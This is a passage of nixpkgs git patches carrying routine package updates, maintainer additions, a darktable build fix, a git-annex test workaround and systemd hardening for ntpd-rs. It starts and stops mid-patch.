+    machine.succeed("curl --fail-with-body -s 'http://localhost:80/ext.php?1=&f=xExtension-TitleWrap/static/title_wrap.css'")
   '';
 }

From 6dacbe78803756d94d54844443ea3ec34175a72a Mon Sep 17 00:00:00 2001
From: Seth Flynn <getchoo@tuta.io>
Date: Tue, 5 Aug 2025 07:47:19 -0400
Subject: [PATCH 3282/4511] nixos/tuned: enable upower with tuned-ppd

Fixes: #431105
(cherry picked from commit 8f2a71ff49f8da7bda8f8456075e98d859821417)
---
 nixos/modules/services/hardware/tuned.nix | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/nixos/modules/services/hardware/tuned.nix b/nixos/modules/services/hardware/tuned.nix
index 877170605ab1..1ce62f6ff011 100644
--- a/nixos/modules/services/hardware/tuned.nix
+++ b/nixos/modules/services/hardware/tuned.nix
@@ -172,6 +172,11 @@ in
         assertion = cfg.settings.dynamic_tuning -> cfg.settings.daemon;
         message = "`services.tuned.settings.dynamic_tuning` requires `services.tuned.settings.daemon` to be `true`.";
       }
+
+      {
+        assertion = cfg.ppdSupport -> config.services.upower.enable;
+        message = "`services.tuned.ppdSupport` requires `services.upower` to be enabled.";
+      }
     ]
     # Declare service conflicts, also sourced from `tuned.service`
     ++
@@ -218,6 +223,11 @@ in
       # Many DEs (like GNOME and KDE Plasma) enable PPD by default
       # Let's try to make it easier to transition by only enabling this module
       power-profiles-daemon.enable = false;
+
+      # NOTE: Required by `tuned-ppd` for handling power supply changes
+      # (i.e., `services.tuned.ppdSettings.main.battery_detection`)
+      # https://github.com/NixOS/nixpkgs/issues/431105
+      upower.enable = lib.mkIf cfg.ppdSupport true;
     };
 
     systemd = {

From 83df04eb5e2338bffd2fe26c3816e45e0f98a610 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 7 May 2025 03:55:12 +0000
Subject: [PATCH 3283/4511] python3Packages.ansible: 11.4.0 -> 11.5.0

(cherry picked from commit becdee5ccf892ea86f9d736da020a1bccfed155a)
---
 pkgs/development/python-modules/ansible/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/ansible/default.nix b/pkgs/development/python-modules/ansible/default.nix
index 03e75b1e428f..1cc97cb0b6f3 100644
--- a/pkgs/development/python-modules/ansible/default.nix
+++ b/pkgs/development/python-modules/ansible/default.nix
@@ -25,7 +25,7 @@
 
 let
   pname = "ansible";
-  version = "11.4.0";
+  version = "11.5.0";
 in
 buildPythonPackage {
   inherit pname version;
@@ -35,7 +35,7 @@ buildPythonPackage {
 
   src = fetchPypi {
     inherit pname version;
-    hash = "sha256-0lp/Jr9YIfgEO8gGAZgi/SgQvWXmtrr7aYu+7a26cr8=";
+    hash = "sha256-GKP8cxIKSa3pqaZ+uPnU9QCdIQbDT/65ZjrZKLdu1Zs=";
   };
 
   # we make ansible-core depend on ansible, not the other way around,

From 49249d4dc37dfc2b6ec9dbd5b1990c211966f275 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 18 Jun 2025 06:12:49 +0000
Subject: [PATCH 3284/4511] python3Packages.ansible: 11.5.0 -> 11.7.0

(cherry picked from commit 9f15b838ec5464ce6232de8d1113880d0c91b895)
---
 pkgs/development/python-modules/ansible/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/ansible/default.nix b/pkgs/development/python-modules/ansible/default.nix
index 1cc97cb0b6f3..dcd5e3adbc90 100644
--- a/pkgs/development/python-modules/ansible/default.nix
+++ b/pkgs/development/python-modules/ansible/default.nix
@@ -25,7 +25,7 @@
 
 let
   pname = "ansible";
-  version = "11.5.0";
+  version = "11.7.0";
 in
 buildPythonPackage {
   inherit pname version;
@@ -35,7 +35,7 @@ buildPythonPackage {
 
   src = fetchPypi {
     inherit pname version;
-    hash = "sha256-GKP8cxIKSa3pqaZ+uPnU9QCdIQbDT/65ZjrZKLdu1Zs=";
+    hash = "sha256-+d83xx1Af2W8ucXAbJkY4pfZ6nS1za9ZJsTJqp5E218=";
   };
 
   # we make ansible-core depend on ansible, not the other way around,

From f19d268be0d9786f8dfe14757a749a85c57ef6e9 Mon Sep 17 00:00:00 2001
From: Haris <67912527+HarisDotParis@users.noreply.github.com>
Date: Mon, 23 Jun 2025 18:29:32 +0200
Subject: [PATCH 3285/4511] ansible: add maintainer HarisDotParis

ansible: add maintainer HarisDotParis
(cherry picked from commit 257dab139a121fc8809e8ef840955c664868a7b8)
---
 pkgs/development/python-modules/ansible/core.nix    | 4 +++-
 pkgs/development/python-modules/ansible/default.nix | 4 +++-
 2 files changed, 6 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/ansible/core.nix b/pkgs/development/python-modules/ansible/core.nix
index 419353af3064..c0c14d9fb3f0 100644
--- a/pkgs/development/python-modules/ansible/core.nix
+++ b/pkgs/development/python-modules/ansible/core.nix
@@ -110,6 +110,8 @@ buildPythonPackage rec {
     description = "Radically simple IT automation";
     homepage = "https://www.ansible.com";
     license = licenses.gpl3Plus;
-    maintainers = [ ];
+    maintainers = with maintainers; [
+      HarisDotParis
+    ];
   };
 }
diff --git a/pkgs/development/python-modules/ansible/default.nix b/pkgs/development/python-modules/ansible/default.nix
index dcd5e3adbc90..cdadc3d9cea0 100644
--- a/pkgs/development/python-modules/ansible/default.nix
+++ b/pkgs/development/python-modules/ansible/default.nix
@@ -99,6 +99,8 @@ buildPythonPackage {
     homepage = "https://www.ansible.com";
     changelog = "https://github.com/ansible-community/ansible-build-data/blob/${version}/${lib.versions.major version}/CHANGELOG-v${lib.versions.major version}.rst";
     license = licenses.gpl3Plus;
-    maintainers = [ ];
+    maintainers = with maintainers; [
+      HarisDotParis
+    ];
   };
 }

From a507f138e0c1af617dab1a34a9262e5175bb1da1 Mon Sep 17 00:00:00 2001
From: Robert Sliwinski <r@sliwi.org>
Date: Wed, 25 Jun 2025 20:29:55 +0200
Subject: [PATCH 3286/4511] ansible: add maintainer robsliwi

(cherry picked from commit e04293de520624b91a2b23b637034d0c1ad762db)
---
 pkgs/development/python-modules/ansible/core.nix    | 1 +
 pkgs/development/python-modules/ansible/default.nix | 1 +
 2 files changed, 2 insertions(+)

diff --git a/pkgs/development/python-modules/ansible/core.nix b/pkgs/development/python-modules/ansible/core.nix
index c0c14d9fb3f0..aa8d8a850774 100644
--- a/pkgs/development/python-modules/ansible/core.nix
+++ b/pkgs/development/python-modules/ansible/core.nix
@@ -112,6 +112,7 @@ buildPythonPackage rec {
     license = licenses.gpl3Plus;
     maintainers = with maintainers; [
       HarisDotParis
+      robsliwi
     ];
   };
 }
diff --git a/pkgs/development/python-modules/ansible/default.nix b/pkgs/development/python-modules/ansible/default.nix
index cdadc3d9cea0..d66d8958aac1 100644
--- a/pkgs/development/python-modules/ansible/default.nix
+++ b/pkgs/development/python-modules/ansible/default.nix
@@ -101,6 +101,7 @@ buildPythonPackage {
     license = licenses.gpl3Plus;
     maintainers = with maintainers; [
       HarisDotParis
+      robsliwi
     ];
   };
 }

From 899bab07647e8168fe71c0e333d829a82725bd92 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 24 Jul 2025 16:00:59 +0000
Subject: [PATCH 3287/4511] python3Packages.ansible: 11.7.0 -> 11.8.0

(cherry picked from commit 2b2cc09e9437fb58d2f34df86ee73acc2163ef57)
---
 pkgs/development/python-modules/ansible/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/ansible/default.nix b/pkgs/development/python-modules/ansible/default.nix
index d66d8958aac1..a9a252287268 100644
--- a/pkgs/development/python-modules/ansible/default.nix
+++ b/pkgs/development/python-modules/ansible/default.nix
@@ -25,7 +25,7 @@
 
 let
   pname = "ansible";
-  version = "11.7.0";
+  version = "11.8.0";
 in
 buildPythonPackage {
   inherit pname version;
@@ -35,7 +35,7 @@ buildPythonPackage {
 
   src = fetchPypi {
     inherit pname version;
-    hash = "sha256-+d83xx1Af2W8ucXAbJkY4pfZ6nS1za9ZJsTJqp5E218=";
+    hash = "sha256-KOoDLHfzRLuOpNfTn5pdTpNebItgg2yMiii5z2ya2xo=";
   };
 
   # we make ansible-core depend on ansible, not the other way around,

From c1c78e221875d67750d81cf516f68b0f5ff838db Mon Sep 17 00:00:00 2001
From: OPNA2608 <opna2608@protonmail.com>
Date: Sun, 3 Aug 2025 13:45:12 +0200
Subject: [PATCH 3288/4511] palemoon-bin: 33.8.0 -> 33.8.1.1

(cherry picked from commit 174d72c9529be1655464d1472b5d7ec46881a7bc)
---
 pkgs/applications/networking/browsers/palemoon/bin.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/applications/networking/browsers/palemoon/bin.nix b/pkgs/applications/networking/browsers/palemoon/bin.nix
index 20658e875909..c974e96d7119 100644
--- a/pkgs/applications/networking/browsers/palemoon/bin.nix
+++ b/pkgs/applications/networking/browsers/palemoon/bin.nix
@@ -23,7 +23,7 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "palemoon-bin";
-  version = "33.8.0";
+  version = "33.8.1.1";
 
   src = finalAttrs.passthru.sources."gtk${if withGTK3 then "3" else "2"}";
 
@@ -173,11 +173,11 @@ stdenv.mkDerivation (finalAttrs: {
       {
         gtk3 = fetchzip {
           urls = urlRegionVariants "gtk3";
-          hash = "sha256-cdPFMYlVEr6D+0mH7Mg5nGpf0KvePGLm3Y/ZytdFHHA=";
+          hash = "sha256-zUStYcCOwiP/LHDUVzu1E8Req0Erk96/Pp1zu+FvK5s=";
         };
         gtk2 = fetchzip {
           urls = urlRegionVariants "gtk2";
-          hash = "sha256-dgWKmkHl5B1ri3uev63MNz/+E767ip9wJ/YzSog8vdQ=";
+          hash = "sha256-OfShUQiFtX+3cb035EbE4FgpohDcNXqOa5i75IxGo0o=";
         };
       };
 

From 6cdd6c90ff2e038d263a1338265f9d948b353ca9 Mon Sep 17 00:00:00 2001
From: OPNA2608 <opna2608@protonmail.com>
Date: Sun, 3 Aug 2025 13:48:08 +0200
Subject: [PATCH 3289/4511] palemoon-gtk2-bin: init at 33.8.1.1

To make testing the variant override more convenient.

(cherry picked from commit 0258f52c9e23c15bd95a6c7fa32f6cf1babc9254)
---
 pkgs/top-level/all-packages.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 434eb08f7c60..9eec8b088e82 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -13656,6 +13656,7 @@ with pkgs;
   };
 
   palemoon-bin = callPackage ../applications/networking/browsers/palemoon/bin.nix { };
+  palemoon-gtk2-bin = palemoon-bin.override { withGTK3 = false; };
 
   pantalaimon = callPackage ../applications/networking/instant-messengers/pantalaimon { };
 

From 039d9978ddb881ae38f6f8efb0522e6c84402593 Mon Sep 17 00:00:00 2001
From: OPNA2608 <opna2608@protonmail.com>
Date: Mon, 4 Aug 2025 16:55:55 +0200
Subject: [PATCH 3290/4511] {palemoon-bin,palemoon-gtk2-bin}: 33.8.1.1 ->
 33.8.1.2

(cherry picked from commit ea43ddefeba770e230720ff4cf44bf6fc4681ad7)
---
 pkgs/applications/networking/browsers/palemoon/bin.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/applications/networking/browsers/palemoon/bin.nix b/pkgs/applications/networking/browsers/palemoon/bin.nix
index c974e96d7119..f126b71e64f3 100644
--- a/pkgs/applications/networking/browsers/palemoon/bin.nix
+++ b/pkgs/applications/networking/browsers/palemoon/bin.nix
@@ -23,7 +23,7 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "palemoon-bin";
-  version = "33.8.1.1";
+  version = "33.8.1.2";
 
   src = finalAttrs.passthru.sources."gtk${if withGTK3 then "3" else "2"}";
 
@@ -173,11 +173,11 @@ stdenv.mkDerivation (finalAttrs: {
       {
         gtk3 = fetchzip {
           urls = urlRegionVariants "gtk3";
-          hash = "sha256-zUStYcCOwiP/LHDUVzu1E8Req0Erk96/Pp1zu+FvK5s=";
+          hash = "sha256-qgabtZ/8nBaOGP0pIXd/byd9XCxulT8w+7uczJE4SAg=";
         };
         gtk2 = fetchzip {
           urls = urlRegionVariants "gtk2";
-          hash = "sha256-OfShUQiFtX+3cb035EbE4FgpohDcNXqOa5i75IxGo0o=";
+          hash = "sha256-qeA8EYRY9STsezWrvlVt73fgxPB0mynkxtTV71HFMgU=";
         };
       };
 

From cbb826608f7d081948eeb4ea0211b0cbd867b9d1 Mon Sep 17 00:00:00 2001
From: zowoq <59103226+zowoq@users.noreply.github.com>
Date: Thu, 7 Aug 2025 09:04:19 +1000
Subject: [PATCH 3291/4511] go_1_23: 1.23.11 -> 1.23.12

Changelog: https://go.dev/doc/devel/release#go1.23.12
(cherry picked from commit 84fb6b57573396b671fb533894dd111208a78bf5)
---
 pkgs/development/compilers/go/1.23.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/compilers/go/1.23.nix b/pkgs/development/compilers/go/1.23.nix
index 137f9f992700..b6147339ebd5 100644
--- a/pkgs/development/compilers/go/1.23.nix
+++ b/pkgs/development/compilers/go/1.23.nix
@@ -27,11 +27,11 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "go";
-  version = "1.23.11";
+  version = "1.23.12";
 
   src = fetchurl {
     url = "https://go.dev/dl/go${finalAttrs.version}.src.tar.gz";
-    hash = "sha256-KWOBYHpIOoqGZ9dpUzF1L5Sh8jHCBOJSfS8i4ePRJH0=";
+    hash = "sha256-4czpN5ok6JVxSkEsfd0VfSYU2e2+g6hESbbhhAtPEiY=";
   };
 
   strictDeps = true;

From 10fa8389c10f8f139e7fab29ab6f4061d774124f Mon Sep 17 00:00:00 2001
From: zowoq <59103226+zowoq@users.noreply.github.com>
Date: Thu, 7 Aug 2025 09:06:08 +1000
Subject: [PATCH 3292/4511] go_1_24: 1.24.5 -> 1.24.6

Changelog: https://go.dev/doc/devel/release#go1.24
(cherry picked from commit 623b61ac9240561534834fc1bdb59dcc0855b738)
---
 pkgs/development/compilers/go/1.24.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/compilers/go/1.24.nix b/pkgs/development/compilers/go/1.24.nix
index d8555306c1c1..f9a2b243bcec 100644
--- a/pkgs/development/compilers/go/1.24.nix
+++ b/pkgs/development/compilers/go/1.24.nix
@@ -27,11 +27,11 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "go";
-  version = "1.24.5";
+  version = "1.24.6";
 
   src = fetchurl {
     url = "https://go.dev/dl/go${finalAttrs.version}.src.tar.gz";
-    hash = "sha256-dP2wnyNS4rJbeUPlaDbJtHNj0o3sHItWxKlXDzC49Z8=";
+    hash = "sha256-4ctVgqq1iGaLwEwH3hhogHD2uMmyqvNh+CHhm9R8/b0=";
   };
 
   strictDeps = true;

From 89399783f57ecdebb495791acf326a3167056ff7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <joerg@thalheim.io>
Date: Mon, 21 Jul 2025 13:15:29 +0200
Subject: [PATCH 3293/4511] darktable: fix build by using Saxon XSLT processor

The build was failing due to inconsistent ID generation in XSLT
transformations. The generate_prefs.xsl uses generate-id() which
produces different IDs between function declarations and their usage
when using libxslt.

Switching to Saxon XSLT processor resolves this issue as it handles
generate-id() more consistently.

(cherry picked from commit 3bed64fa4eb1b18e6018010469b0d941808f23ff)
https://hydra.nixos.org/build/303791497
---
 pkgs/by-name/da/darktable/package.nix | 16 ++++++++++++++--
 1 file changed, 14 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/da/darktable/package.nix b/pkgs/by-name/da/darktable/package.nix
index d0d666c3f305..ff96a0b6b710 100644
--- a/pkgs/by-name/da/darktable/package.nix
+++ b/pkgs/by-name/da/darktable/package.nix
@@ -2,6 +2,7 @@
   lib,
   stdenv,
   fetchurl,
+  runCommand,
 
   # nativeBuildInputs
   cmake,
@@ -12,6 +13,7 @@
   perl,
   pkg-config,
   wrapGAppsHook3,
+  saxon,
 
   # buildInputs
   SDL2,
@@ -52,7 +54,6 @@
   libtiff,
   libwebp,
   libxml2,
-  libxslt,
   lua,
   util-linux,
   openexr,
@@ -79,6 +80,17 @@
   gitUpdater,
 }:
 
+let
+  # Create a wrapper for saxon to provide saxon-xslt command
+  saxon-xslt = runCommand "saxon-xslt" { } ''
+    mkdir -p $out/bin
+    cat > $out/bin/saxon-xslt << 'EOF'
+    #!/bin/sh
+    exec ${saxon}/bin/saxon "$@"
+    EOF
+    chmod +x $out/bin/saxon-xslt
+  '';
+in
 stdenv.mkDerivation rec {
   version = "5.0.1";
   pname = "darktable";
@@ -97,6 +109,7 @@ stdenv.mkDerivation rec {
     perl
     pkg-config
     wrapGAppsHook3
+    saxon-xslt # Use Saxon instead of libxslt to fix XSLT generate-id() consistency issues
   ];
 
   buildInputs = [
@@ -137,7 +150,6 @@ stdenv.mkDerivation rec {
     libtiff
     libwebp
     libxml2
-    libxslt
     lua
     openexr
     openjpeg

From 2070a9a53cf50540017716b479efc7652be6cc75 Mon Sep 17 00:00:00 2001
From: sternenseemann <sternenseemann@systemli.org>
Date: Sat, 12 Jul 2025 23:24:17 +0200
Subject: [PATCH 3294/4511] git-annex: apply workaround for test failure with
 git 2.50

The next haskellPackages bulk update will also resolve this, but picking
the patch will prevent a broken git-annex until the next staging-next is
merged into master.

(cherry picked from commit 75542a9b8781b58538ec3755fdc3816c67c7a166)
(from PR #424682)
https://hydra.nixos.org/build/303801265
---
 .../haskell-modules/configuration-common.nix         | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/pkgs/development/haskell-modules/configuration-common.nix b/pkgs/development/haskell-modules/configuration-common.nix
index da14e1267360..347a0c6b38ad 100644
--- a/pkgs/development/haskell-modules/configuration-common.nix
+++ b/pkgs/development/haskell-modules/configuration-common.nix
@@ -504,6 +504,18 @@ self: super:
           # TODO(@sternenseemann): submit upstreamable patch resolving this
           # (this should be possible by also taking PREFIX into account).
           ./patches/git-annex-no-usr-prefix.patch
+
+          # Pick fix for git 2.50 related test suite failures from 10.20250630
+          # https://git-annex.branchable.com/bugs/test_suite_fail_with_git_2.50/
+          (pkgs.fetchpatch {
+            name = "git-annex-workaround-for-git-2.50.patch";
+            url = "https://git.joeyh.name/index.cgi/git-annex.git/patch/?id=fb155b1e3e59cc1f9cf8a4fe7d47cba49d1c81af";
+            sha256 = "sha256-w6eXW0JqshXTd0/tNPZ0fOW2SVmA90G5eFhsd9y05BI=";
+            excludes = [
+              "doc/**"
+              "CHANGELOG"
+            ];
+          })
         ];
 
         postPatch = ''

From e728d7ae4bb6394bbd19eec52b7358526a44c414 Mon Sep 17 00:00:00 2001
From: liberodark <liberodark@gmail.com>
Date: Tue, 29 Jul 2025 16:54:53 +0200
Subject: [PATCH 3295/4511] nixos/ntpd-rs: hardening

(cherry picked from commit a9cd681b8df39ca567cada7ff50d44f7b3fb225a)
---
 .../services/networking/ntp/ntpd-rs.nix       | 81 +++++++++++++++++++
 1 file changed, 81 insertions(+)

diff --git a/nixos/modules/services/networking/ntp/ntpd-rs.nix b/nixos/modules/services/networking/ntp/ntpd-rs.nix
index 14287ded9abf..358478b2e999 100644
--- a/nixos/modules/services/networking/ntp/ntpd-rs.nix
+++ b/nixos/modules/services/networking/ntp/ntpd-rs.nix
@@ -79,6 +79,49 @@ in
           ""
           "${lib.makeBinPath [ cfg.package ]}/ntp-daemon --config=${configFile}"
         ];
+
+        CapabilityBoundingSet = [
+          "CAP_SYS_TIME"
+          "CAP_NET_BIND_SERVICE"
+        ];
+        AmbientCapabilities = [
+          "CAP_SYS_TIME"
+          "CAP_NET_BIND_SERVICE"
+        ];
+        LimitCORE = 0;
+        LimitNOFILE = 65535;
+        LockPersonality = true;
+        MemorySwapMax = 0;
+        MemoryZSwapMax = 0;
+        PrivateTmp = true;
+        ProcSubset = "pid";
+        ProtectControlGroups = true;
+        ProtectHome = true;
+        ProtectHostname = true;
+        ProtectKernelLogs = true;
+        ProtectKernelModules = true;
+        ProtectKernelTunables = true;
+        ProtectProc = "invisible";
+        ProtectSystem = "strict";
+        Restart = "on-failure";
+        RestartSec = "10s";
+        RestrictAddressFamilies = [
+          "AF_INET"
+          "AF_INET6"
+          "AF_UNIX"
+          "AF_NETLINK"
+        ];
+        RestrictNamespaces = true;
+        RestrictRealtime = true;
+        SystemCallArchitectures = "native";
+        SystemCallFilter = [
+          "@system-service"
+          "@resources"
+          "@network-io"
+          "@clock"
+        ];
+        NoNewPrivileges = true;
+        UMask = "0077";
       };
     };
 
@@ -92,6 +135,44 @@ in
           ""
           "${lib.makeBinPath [ cfg.package ]}/ntp-metrics-exporter --config=${configFile}"
         ];
+
+        CapabilityBoundingSet = [ ];
+        LimitCORE = 0;
+        LimitNOFILE = 65535;
+        LockPersonality = true;
+        MemorySwapMax = 0;
+        MemoryZSwapMax = 0;
+        PrivateTmp = true;
+        ProcSubset = "pid";
+        ProtectClock = true;
+        ProtectControlGroups = true;
+        ProtectHome = true;
+        ProtectHostname = true;
+        ProtectKernelLogs = true;
+        ProtectKernelModules = true;
+        ProtectKernelTunables = true;
+        ProtectProc = "invisible";
+        ProtectSystem = "strict";
+        PrivateDevices = true;
+        RestrictSUIDSGID = true;
+        RemoveIPC = true;
+        RestrictAddressFamilies = [
+          "AF_INET"
+          "AF_INET6"
+          "AF_UNIX"
+        ];
+        RestrictNamespaces = true;
+        RestrictRealtime = true;
+        SystemCallArchitectures = "native";
+        SystemCallFilter = [
+          "@system-service"
+          "@network-io"
+          "~@privileged"
+          "~@resources"
+          "~@mount"
+        ];
+        NoNewPrivileges = true;
+        UMask = "0077";
       };
     };
   };

From 1f70705173ff2cbf5178bddc8715234edf3233fd Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Thu, 7 Aug 2025 00:35:08 +0000
Subject: [PATCH 3296/4511] chhoto-url: 6.2.11 -> 6.2.12

Changelog: https://github.com/SinTan1729/chhoto-url/releases/tag/6.2.12
Diff: https://github.com/SinTan1729/chhoto-url/compare/6.2.11...6.2.12
(cherry picked from commit 299e4f14bd9170f40ea4e9d0bd7a9e9c22ee0dfe)
---
 pkgs/by-name/ch/chhoto-url/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ch/chhoto-url/package.nix b/pkgs/by-name/ch/chhoto-url/package.nix
index e1af552d8fe9..2f73b19d3f68 100644
--- a/pkgs/by-name/ch/chhoto-url/package.nix
+++ b/pkgs/by-name/ch/chhoto-url/package.nix
@@ -8,13 +8,13 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "chhoto-url";
-  version = "6.2.11";
+  version = "6.2.12";
 
   src = fetchFromGitHub {
     owner = "SinTan1729";
     repo = "chhoto-url";
     tag = finalAttrs.version;
-    hash = "sha256-3VQmTQ6ZlDTRL3nx/sQxWLKgW8ee0Ts+C1CiWkiX2/g=";
+    hash = "sha256-hV/YWxOPRTojVTFIXwzqImBKyQ1dCDq5+bgCdS7T1p0=";
   };
 
   sourceRoot = "${finalAttrs.src.name}/actix";
@@ -24,7 +24,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
       --replace-fail "./resources/" "${placeholder "out"}/share/chhoto-url/resources/"
   '';
 
-  cargoHash = "sha256-QIqLzk/vAOrW0ain0Oq9tnqzCSyK4yDOYsjmil3xPc4=";
+  cargoHash = "sha256-9wXbd56KOQ7suZqtg2cSFf2FGQJADFMHJbwAAxJ2V4g=";
 
   postInstall = ''
     mkdir -p $out/share/chhoto-url

From 980e8e08c80595d2a2e8e7b3db8897f57d617062 Mon Sep 17 00:00:00 2001
From: datafoo <34766150+datafoo@users.noreply.github.com>
Date: Thu, 7 Aug 2025 08:38:34 +0200
Subject: [PATCH 3297/4511] vscode-extensions.elixir-lsp.vscode-elixir-ls:
 0.28.0 -> 0.29.2

(cherry picked from commit 6682e3e582e87558cf8c38617c2254e6e46363f7)
---
 pkgs/applications/editors/vscode/extensions/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/editors/vscode/extensions/default.nix b/pkgs/applications/editors/vscode/extensions/default.nix
index c3475a9a4eb0..84c6c10c54e3 100644
--- a/pkgs/applications/editors/vscode/extensions/default.nix
+++ b/pkgs/applications/editors/vscode/extensions/default.nix
@@ -1700,8 +1700,8 @@ let
         mktplcRef = {
           name = "elixir-ls";
           publisher = "JakeBecker";
-          version = "0.28.0";
-          hash = "sha256-pHLAA7i2HJC523lPotUy5Zwa3BTSTurC2BA+eevdH38=";
+          version = "0.29.2";
+          hash = "sha256-+MkKUhyma/mc5MZa0+RFty5i7rox0EARPTm/uggQj6M=";
         };
         meta = {
           changelog = "https://marketplace.visualstudio.com/items/JakeBecker.elixir-ls/changelog";

From 146b84453b79d9e63a84a9bbed31eba71e614281 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Wed, 6 Aug 2025 20:54:06 -0400
Subject: [PATCH 3298/4511] skim: remove useFetchCargoVendor usage

(cherry picked from commit 398b16e16cc688d8ffcf820d1ec50a55da44a108)
---
 pkgs/by-name/sk/skim/package.nix | 1 -
 1 file changed, 1 deletion(-)

diff --git a/pkgs/by-name/sk/skim/package.nix b/pkgs/by-name/sk/skim/package.nix
index 5b4c0ab00030..fadcc57b098f 100644
--- a/pkgs/by-name/sk/skim/package.nix
+++ b/pkgs/by-name/sk/skim/package.nix
@@ -31,7 +31,6 @@ rustPlatform.buildRustPackage rec {
     sed -i -e "s|expand('<sfile>:h:h')|'$out'|" plugin/skim.vim
   '';
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-oRcqaXWa/eh5QQtTk0NQr90aL/Q0zgxQbPIoMLMtHe8=";
 
   nativeBuildInputs = [ installShellFiles ];

From 6ca72116114b0260b7352ac129e5521360b4f25e Mon Sep 17 00:00:00 2001
From: Muhammad Falak R Wani <falakreyaz@gmail.com>
Date: Mon, 28 Jul 2025 09:48:41 +0530
Subject: [PATCH 3299/4511] skim: 0.20.2 -> 0.20.3

Diff: https://github.com/skim-rs/skim/compare/refs/tags/v0.20.2...v0.20.3
Changelog: https://github.com/skim-rs/skim/releases/tag/v0.20.3
Signed-off-by: Muhammad Falak R Wani <falakreyaz@gmail.com>
(cherry picked from commit 137488b80c4eb31270af10735e84e74128c08639)
---
 pkgs/by-name/sk/skim/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sk/skim/package.nix b/pkgs/by-name/sk/skim/package.nix
index fadcc57b098f..2381bb3967e2 100644
--- a/pkgs/by-name/sk/skim/package.nix
+++ b/pkgs/by-name/sk/skim/package.nix
@@ -12,7 +12,7 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "skim";
-  version = "0.20.2";
+  version = "0.20.3";
 
   outputs = [
     "out"
@@ -24,14 +24,14 @@ rustPlatform.buildRustPackage rec {
     owner = "skim-rs";
     repo = "skim";
     tag = "v${version}";
-    hash = "sha256-fEd6t+adYI1jpRapZ/XHpxVWtX0nwUl9ZurIwywSFgk=";
+    hash = "sha256-DyrndFT4gPLLdBtvS/QI0UDMtKKeK8oX2K2h4/6xvb0=";
   };
 
   postPatch = ''
     sed -i -e "s|expand('<sfile>:h:h')|'$out'|" plugin/skim.vim
   '';
 
-  cargoHash = "sha256-oRcqaXWa/eh5QQtTk0NQr90aL/Q0zgxQbPIoMLMtHe8=";
+  cargoHash = "sha256-BcWszU7S0imGlXgQ5e1L9yLfXzYzseK0z2BnqIqKkzg=";
 
   nativeBuildInputs = [ installShellFiles ];
 

From c9d55134919b526aa08e9e3455054e9e62391e54 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 6 Aug 2025 18:04:12 +0000
Subject: [PATCH 3300/4511] thunderbird-esr-bin-unwrapped: 140.1.0esr ->
 140.1.1esr

(cherry picked from commit 4fb8458eecf27aae59949c9b5eeb5d7837599dc3)
---
 .../thunderbird-bin/release_esr_sources.nix   | 794 +++++++++---------
 1 file changed, 397 insertions(+), 397 deletions(-)

diff --git a/pkgs/applications/networking/mailreaders/thunderbird-bin/release_esr_sources.nix b/pkgs/applications/networking/mailreaders/thunderbird-bin/release_esr_sources.nix
index f089cd1c1bcc..1908f322506d 100644
--- a/pkgs/applications/networking/mailreaders/thunderbird-bin/release_esr_sources.nix
+++ b/pkgs/applications/networking/mailreaders/thunderbird-bin/release_esr_sources.nix
@@ -1,1193 +1,1193 @@
 {
-  version = "140.1.0esr";
+  version = "140.1.1esr";
   sources = [
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/af/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/af/thunderbird-140.1.1esr.tar.xz";
       locale = "af";
       arch = "linux-x86_64";
-      sha256 = "0949364bab751990fc5d02354a0352c8c919f8606594bd0302f30ae1fb931cd1";
+      sha256 = "919982590b3b6354c6856cc20b7fb7776d75c61f829992d10932bc684810bf38";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/ar/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/ar/thunderbird-140.1.1esr.tar.xz";
       locale = "ar";
       arch = "linux-x86_64";
